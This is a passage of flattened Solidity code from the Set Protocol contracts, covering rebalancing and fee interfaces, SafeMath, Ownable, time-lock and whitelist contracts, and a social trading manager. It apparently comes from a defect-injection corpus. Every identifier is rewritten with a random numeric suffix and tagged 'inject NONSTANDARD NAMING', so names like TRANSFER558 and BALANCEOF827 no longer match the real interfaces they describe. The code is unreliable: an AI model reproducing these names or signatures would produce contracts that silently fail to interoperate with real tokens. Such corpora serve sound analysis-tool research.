uint256 auctionStartTime;
uint256 auctionTimeToPivot;
uint256 auctionStartPrice;
uint256 auctionPivotPrice;
}
struct BiddingParameters {
uint256 minimumBid;
uint256 remainingCurrentSets;
uint256[] combinedCurrentUnits;
uint256[] combinedNextSetUnits;
address[] combinedTokenArray;
}
}
// File: set-protocol-contracts/contracts/core/interfaces/IFeeCalculator.sol
pragma solidity 0.5.7;
interface IFeeCalculator {
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _feeCalculatorData
)
external;
function GETFEE645() //inject NONSTANDARD NAMING
external
view
returns(uint256);
function UPDATEANDGETFEE787() //inject NONSTANDARD NAMING
external
returns(uint256);
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/ISetToken.sol
pragma solidity 0.5.7;
interface ISetToken {
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMPONENTS458() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETUNITS229() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function TOKENISCOMPONENT45( //inject NONSTANDARD NAMING
address _tokenAddress
)
external
view
returns (bool);
function MINT918( //inject NONSTANDARD NAMING
address _issuer,
uint256 _quantity
)
external;
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function TRANSFER558( //inject NONSTANDARD NAMING
address to,
uint256 value
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetToken.sol
pragma solidity 0.5.7;
interface IRebalancingSetToken {
function AUCTIONLIBRARY983() //inject NONSTANDARD NAMING
external
view
returns (address);
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PROPOSALSTARTTIME533() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function PROPOSE395( //inject NONSTANDARD NAMING
address _nextSet,
address _auctionLibrary,
uint256 _auctionTimeToPivot,
uint256 _auctionStartPrice,
uint256 _auctionPivotPrice
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (address);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (address);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETCOMBINEDTOKENARRAYLENGTH557() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMBINEDTOKENARRAY587() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETFAILEDAUCTIONWITHDRAWCOMPONENTS419() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETAUCTIONPRICEPARAMETERS272() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDDINGPARAMETERS33() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
}
// File: set-protocol-contracts/contracts/core/lib/Rebalance.sol
pragma solidity 0.5.7;
library Rebalance {
struct TokenFlow {
address[] addresses;
uint256[] inflow;
uint256[] outflow;
}
function COMPOSETOKENFLOW703( //inject NONSTANDARD NAMING
address[] memory _addresses,
uint256[] memory _inflow,
uint256[] memory _outflow
)
internal
pure
returns(TokenFlow memory)
{
return TokenFlow({addresses: _addresses, inflow: _inflow, outflow: _outflow });
}
function DECOMPOSETOKENFLOW508(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, uint256[] memory, uint256[] memory)
{
return (_tokenFlow.addresses, _tokenFlow.inflow, _tokenFlow.outflow);
}
function DECOMPOSETOKENFLOWTOBIDPRICE741(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (uint256[] memory, uint256[] memory)
{
return (_tokenFlow.inflow, _tokenFlow.outflow);
}
function GETTOKENFLOWS792( //inject NONSTANDARD NAMING
IRebalancingSetToken _rebalancingSetToken,
uint256 _quantity
)
internal
view
returns (address[] memory, uint256[] memory, uint256[] memory)
{
// Get token addresses
address[] memory combinedTokenArray = _rebalancingSetToken.GETCOMBINEDTOKENARRAY587();
// Get inflow and outflow arrays for the given bid quantity
(
uint256[] memory inflowArray,
uint256[] memory outflowArray
) = _rebalancingSetToken.GETBIDPRICE601(_quantity);
return (combinedTokenArray, inflowArray, outflowArray);
}
}
// File: set-protocol-contracts/contracts/core/interfaces/ILiquidator.sol
pragma solidity 0.5.7;
interface ILiquidator {
function STARTREBALANCE53( //inject NONSTANDARD NAMING
ISetToken _currentSet,
ISetToken _nextSet,
uint256 _startingCurrentSetQuantity,
bytes calldata _liquidatorData
)
external;
function GETBIDPRICE601( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external
view
returns (Rebalance.TokenFlow memory);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (Rebalance.TokenFlow memory);
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ENDFAILEDREBALANCE906() external; //inject NONSTANDARD NAMING
// ----------------------------------------------------------------------
// Auction Price
// ----------------------------------------------------------------------
function AUCTIONPRICEPARAMETERS855(address _set) //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.AuctionPriceParameters memory);
// ----------------------------------------------------------------------
// Auction
// ----------------------------------------------------------------------
function HASREBALANCEFAILED531(address _set) external view returns (bool); //inject NONSTANDARD NAMING
function MINIMUMBID335(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function STARTINGCURRENTSETS972(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function REMAININGCURRENTSETS800(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function GETCOMBINEDCURRENTSETUNITS997(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDNEXTSETUNITS743(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDTOKENARRAY587(address _set) external view returns (address[] memory); //inject NONSTANDARD NAMING
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV2.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV2 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV3.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV3 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ACTUALIZEFEE454() //inject NONSTANDARD NAMING
external;
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
library SafeMath {
function MUL940(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV983(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB806(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
uint256 c = a - b;
return c;
}
function ADD949(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MOD276(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OWNERSHIPTRANSFERRED84(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = msg.sender;
emit OWNERSHIPTRANSFERRED84(address(0), _owner);
}
function OWNER334() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER733() { //inject NONSTANDARD NAMING
require(ISOWNER347());
_;
}
function ISOWNER347() public view returns (bool) { //inject NONSTANDARD NAMING
return msg.sender == _owner;
}
function RENOUNCEOWNERSHIP178() public ONLYOWNER733 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED84(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP217(address newOwner) public ONLYOWNER733 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP828(newOwner);
}
function _TRANSFEROWNERSHIP828(address newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0));
emit OWNERSHIPTRANSFERRED84(_owner, newOwner);
_owner = newOwner;
}
}
// File: set-protocol-contracts/contracts/lib/TimeLockUpgrade.sol
pragma solidity 0.5.7;
contract TimeLockUpgrade is
Ownable
{
using SafeMath for uint256;
// Timelock Upgrade Period in seconds
uint256 public timeLockPeriod;
// Mapping of upgradable units and initialized timelock
mapping(bytes32 => uint256) public timeLockedUpgrades;
event UPGRADEREGISTERED246( //inject NONSTANDARD NAMING
bytes32 _upgradeHash,
uint256 _timestamp
);
modifier TIMELOCKUPGRADE701() { //inject NONSTANDARD NAMING
// If the time lock period is 0, then allow non-timebound upgrades.
// This is useful for initialization of the protocol and for testing.
if (timeLockPeriod == 0) {
_;
return;
}
// The upgrade hash is defined by the hash of the transaction call data,
// which uniquely identifies the function as well as the passed in arguments.
bytes32 upgradeHash = keccak256(
abi.encodePacked(
msg.data
)
);
uint256 registrationTime = timeLockedUpgrades[upgradeHash];
// If the upgrade hasn't been registered, register with the current time.
if (registrationTime == 0) {
timeLockedUpgrades[upgradeHash] = block.timestamp;
emit UPGRADEREGISTERED246(
upgradeHash,
block.timestamp
);
return;
}
require(
block.timestamp >= registrationTime.ADD949(timeLockPeriod),
"TimeLockUpgrade: Time lock period must have elapsed."
);
// Reset the timestamp to 0
timeLockedUpgrades[upgradeHash] = 0;
// Run the rest of the upgrades
_;
}
function SETTIMELOCKPERIOD792( //inject NONSTANDARD NAMING
uint256 _timeLockPeriod
)
external
ONLYOWNER733
{
// Only allow setting of the timeLockPeriod if the period is greater than the existing
require(
_timeLockPeriod > timeLockPeriod,
"TimeLockUpgrade: New period must be greater than existing"
);
timeLockPeriod = _timeLockPeriod;
}
}
// File: set-protocol-contracts/contracts/lib/UnrestrictedTimeLockUpgrade.sol
pragma solidity 0.5.7;
contract UnrestrictedTimeLockUpgrade is
TimeLockUpgrade
{
event REMOVEREGISTEREDUPGRADE343( //inject NONSTANDARD NAMING
bytes32 indexed _upgradeHash
);
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
bytes32 _upgradeHash
)
internal
{
require(
timeLockedUpgrades[_upgradeHash] != 0,
"TimeLockUpgradeV2.removeRegisteredUpgrade: Upgrade hash must be registered"
);
// Reset the timestamp to 0
timeLockedUpgrades[_upgradeHash] = 0;
emit REMOVEREGISTEREDUPGRADE343(
_upgradeHash
);
}
}
// File: set-protocol-contracts/contracts/lib/LimitOneUpgrade.sol
pragma solidity 0.5.7;
contract LimitOneUpgrade is
UnrestrictedTimeLockUpgrade
{
mapping(address => bytes32) public upgradeIdentifier;
modifier LIMITONEUPGRADE170(address _upgradeAddress) { //inject NONSTANDARD NAMING
if (timeLockPeriod > 0) {
// Get upgradeHash
bytes32 upgradeHash = keccak256(msg.data);
if (upgradeIdentifier[_upgradeAddress] != 0) {
// If upgrade hash has no record then revert since must be second upgrade
require(
upgradeIdentifier[_upgradeAddress] == upgradeHash,
"Another update already in progress."
);
upgradeIdentifier[_upgradeAddress] = 0;
} else {
upgradeIdentifier[_upgradeAddress] = upgradeHash;
}
}
_;
}
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
address _upgradeAddress,
bytes32 _upgradeHash
)
internal
{
require(
upgradeIdentifier[_upgradeAddress] == _upgradeHash,
"Passed upgrade hash does not match upgrade address."
);
UnrestrictedTimeLockUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_upgradeHash);
upgradeIdentifier[_upgradeAddress] = 0;
}
}
// File: set-protocol-contracts/contracts/lib/AddressArrayUtils.sol
// Pulled in from Cryptofin Solidity package in order to control Solidity compiler version
// https://github.com/cryptofinlabs/cryptofin-solidity/blob/master/contracts/array-utils/AddressArrayUtils.sol
pragma solidity 0.5.7;
library AddressArrayUtils {
function INDEXOF640(address[] memory A, address a) internal pure returns (uint256, bool) { //inject NONSTANDARD NAMING
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (0, false);
}
function CONTAINS824(address[] memory A, address a) internal pure returns (bool) { //inject NONSTANDARD NAMING
bool isIn;
(, isIn) = INDEXOF640(A, a);
return isIn;
}
function EXTEND286(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
function APPEND631(address[] memory A, address a) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory newAddresses = new address[](A.length + 1);
for (uint256 i = 0; i < A.length; i++) {
newAddresses[i] = A[i];
}
newAddresses[A.length] = a;
return newAddresses;
}
function INTERSECT449(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 newLength = 0;
for (uint256 i = 0; i < length; i++) {
if (CONTAINS824(B, A[i])) {
includeMap[i] = true;
newLength++;
}
}
address[] memory newAddresses = new address[](newLength);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function UNION513(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory leftDifference = DIFFERENCE589(A, B);
address[] memory rightDifference = DIFFERENCE589(B, A);
address[] memory intersection = INTERSECT449(A, B);
return EXTEND286(leftDifference, EXTEND286(intersection, rightDifference));
}
function DIFFERENCE589(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 count = 0;
// First count the new length because can't push for in-memory arrays
for (uint256 i = 0; i < length; i++) {
address e = A[i];
if (!CONTAINS824(B, e)) {
includeMap[i] = true;
count++;
}
}
address[] memory newAddresses = new address[](count);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function POP272(address[] memory A, uint256 index) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function REMOVE947(address[] memory A, address a) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = INDEXOF640(A, a);
if (!isIn) {
revert();
} else {
(address[] memory _A,) = POP272(A, index);
return _A;
}
}
function HASDUPLICATE629(address[] memory A) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length == 0) {
return false;
}
for (uint256 i = 0; i < A.length - 1; i++) {
for (uint256 j = i + 1; j < A.length; j++) {
if (A[i] == A[j]) {
return true;
}
}
}
return false;
}
function ISEQUAL297(address[] memory A, address[] memory B) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length != B.length) {
return false;
}
for (uint256 i = 0; i < A.length; i++) {
if (A[i] != B[i]) {
return false;
}
}
return true;
}
}
// File: set-protocol-contracts/contracts/lib/WhiteList.sol
pragma solidity 0.5.7;
contract WhiteList is
Ownable,
TimeLockUpgrade
{
using AddressArrayUtils for address[];
address[] public addresses;
mapping(address => bool) public whiteList;
event ADDRESSADDED659( //inject NONSTANDARD NAMING
address _address
);
event ADDRESSREMOVED325( //inject NONSTANDARD NAMING
address _address
);
constructor(
address[] memory _initialAddresses
)
public
{
// Add each of initial addresses to state
for (uint256 i = 0; i < _initialAddresses.length; i++) {
address addressToAdd = _initialAddresses[i];
addresses.push(addressToAdd);
whiteList[addressToAdd] = true;
}
}
function ADDADDRESS683( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
TIMELOCKUPGRADE701
{
require(
!whiteList[_address],
"WhiteList.addAddress: Address has already been whitelisted."
);
addresses.push(_address);
whiteList[_address] = true;
emit ADDRESSADDED659(
_address
);
}
function REMOVEADDRESS177( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
{
require(
whiteList[_address],
"WhiteList.removeAddress: Address is not current whitelisted."
);
addresses = addresses.REMOVE947(_address);
whiteList[_address] = false;
emit ADDRESSREMOVED325(
_address
);
}
function VALIDADDRESSES284() //inject NONSTANDARD NAMING
external
view
returns (address[] memory)
{
return addresses;
}
function AREVALIDADDRESSES358( //inject NONSTANDARD NAMING
address[] calldata _addresses
)
external
view
returns (bool)
{
for (uint256 i = 0; i < _addresses.length; i++) {
if (!whiteList[_addresses[i]]) {
return false;
}
}
return true;
}
}
// File: contracts/managers/allocators/ISocialAllocator.sol
pragma solidity 0.5.7;
interface ISocialAllocator {
function DETERMINENEWALLOCATION631( //inject NONSTANDARD NAMING
uint256 _targetBaseAssetAllocation
)
external
returns (ISetToken);
function CALCULATECOLLATERALSETVALUE480( //inject NONSTANDARD NAMING
ISetToken _collateralSet
)
external
view
returns(uint256);
}
// File: contracts/managers/lib/SocialTradingLibrary.sol
pragma solidity 0.5.7;
library SocialTradingLibrary {
struct PoolInfo {
address trader; // Address allowed to make admin and allocation decisions
ISocialAllocator allocator; // Allocator used to make collateral Sets, defines asset pair being used
uint256 currentAllocation; // Current base asset allocation of tradingPool
uint256 newEntryFee; // New fee percentage to change to after time lock passes, defaults to 0
uint256 feeUpdateTimestamp; // Timestamp when fee update process can be finalized, defaults to maxUint256
}
}
// File: contracts/managers/SocialTradingManager.sol
pragma solidity 0.5.7;
contract SocialTradingManager is
WhiteList
{
using SafeMath for uint256;
event TRADINGPOOLCREATED990( //inject NONSTANDARD NAMING
address indexed trader,
ISocialAllocator indexed allocator,
address indexed tradingPool,
uint256 startingAllocation
);
event ALLOCATIONUPDATE207( //inject NONSTANDARD NAMING
address indexed tradingPool,
uint256 oldAllocation,
uint256 newAllocation
);
event NEWTRADER325( //inject NONSTANDARD NAMING
address indexed tradingPool,
address indexed oldTrader,
address indexed newTrader
);
modifier ONLYTRADER541(IRebalancingSetTokenV2 _tradingPool) { //inject NONSTANDARD NAMING
require(
msg.sender == TRADER685(_tradingPool),
"Sender must be trader"
);
_;
}
uint256 public constant rebalancing_set_natural_unit564 = 1e8; //inject NONSTANDARD NAMING
uint public constant one_percent337 = 1e16; //inject NONSTANDARD NAMING
uint256 constant public maximum_allocation339 = 1e18; //inject NONSTANDARD NAMING
ICore public core;
address public factory;
mapping(address => SocialTradingLibrary.PoolInfo) public pools;
uint256 public maxEntryFee;
uint256 public feeUpdateTimelock;
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
WhiteList(_whiteListedAllocators)
{
core = _core;
factory = _factory;
maxEntryFee = _maxEntryFee;
feeUpdateTimelock = _feeUpdateTimelock;
}
function CREATETRADINGPOOL384( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
uint256 _startingUSDValue,
bytes32 _name,
bytes32 _symbol,
bytes calldata _rebalancingSetCallData
)
external
{
// Validate relevant params
VALIDATECREATETRADINGPOOL868(_tradingPairAllocator, _startingBaseAssetAllocation, _rebalancingSetCallData);
// Get collateral Set
ISetToken collateralSet = _tradingPairAllocator.DETERMINENEWALLOCATION631(
_startingBaseAssetAllocation
);
uint256[] memory unitShares = new uint256[](1);
// Value collateral
uint256 collateralValue = _tradingPairAllocator.CALCULATECOLLATERALSETVALUE480(
collateralSet
);
// unitShares is equal to _startingUSDValue divided by colalteral Value
unitShares[0] = _startingUSDValue.MUL940(rebalancing_set_natural_unit564).DIV983(collateralValue);
address[] memory components = new address[](1);
components[0] = address(collateralSet);
// Create tradingPool
address tradingPool = core.CREATESET426(
factory,
components,
unitShares,
rebalancing_set_natural_unit564,
_name,
_symbol,
_rebalancingSetCallData
);
pools[tradingPool].trader = msg.sender;
pools[tradingPool].allocator = _tradingPairAllocator;
pools[tradingPool].currentAllocation = _startingBaseAssetAllocation;
pools[tradingPool].feeUpdateTimestamp = 0;
emit TRADINGPOOLCREATED990(
msg.sender,
_tradingPairAllocator,
tradingPool,
_startingBaseAssetAllocation
);
}
function UPDATEALLOCATION788( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation,
bytes calldata _liquidatorData
)
external
ONLYTRADER541(_tradingPool)
{
// Validate updateAllocation params
VALIDATEALLOCATIONUPDATE492(_tradingPool, _newAllocation);
// Create nextSet collateral
ISetToken nextSet = ALLOCATOR261(_tradingPool).DETERMINENEWALLOCATION631(
_newAllocation
);
// Trigger start rebalance on RebalancingSetTokenV2
_tradingPool.STARTREBALANCE53(address(nextSet), _liquidatorData);
emit ALLOCATIONUPDATE207(
address(_tradingPool),
CURRENTALLOCATION387(_tradingPool),
_newAllocation
);
// Save new allocation
pools[address(_tradingPool)].currentAllocation = _newAllocation;
}
function INITIATEENTRYFEECHANGE772( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newEntryFee
)
external
ONLYTRADER541(_tradingPool)
{
// Validate new entry fee doesn't exceed max
VALIDATENEWENTRYFEE141(_newEntryFee);
// Log new entryFee and timestamp to start timelock from
pools[address(_tradingPool)].feeUpdateTimestamp = block.timestamp.ADD949(feeUpdateTimelock);
pools[address(_tradingPool)].newEntryFee = _newEntryFee;
}
function FINALIZEENTRYFEECHANGE511( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool
)
external
ONLYTRADER541(_tradingPool)
{
// If feeUpdateTimestamp is equal to 0 indicates initiate wasn't called
require(
FEEUPDATETIMESTAMP466(_tradingPool) != 0,
"SocialTradingManager.finalizeSetFeeRecipient: Must initiate fee change first."
);
// Current block timestamp must exceed feeUpdateTimestamp
require(
block.timestamp >= FEEUPDATETIMESTAMP466(_tradingPool),
"SocialTradingManager.finalizeSetFeeRecipient: Time lock period must elapse to update fees."
);
// Reset timestamp to avoid reentrancy
pools[address(_tradingPool)].feeUpdateTimestamp = 0;
// Update fee on RebalancingSetTokenV2
_tradingPool.SETENTRYFEE61(NEWENTRYFEE285(_tradingPool));
// Reset newEntryFee
pools[address(_tradingPool)].newEntryFee = 0;
}
function SETTRADER910( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newTrader
)
external
ONLYTRADER541(_tradingPool)
{
emit NEWTRADER325(
address(_tradingPool),
TRADER685(_tradingPool),
_newTrader
);
pools[address(_tradingPool)].trader = _newTrader;
}
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
ILiquidator _newLiquidator
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETLIQUIDATOR462(_newLiquidator);
}
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newFeeRecipient
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETFEERECIPIENT786(_newFeeRecipient);
}
function VALIDATECREATETRADINGPOOL868( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
bytes memory _rebalancingSetCallData
)
internal
view
{
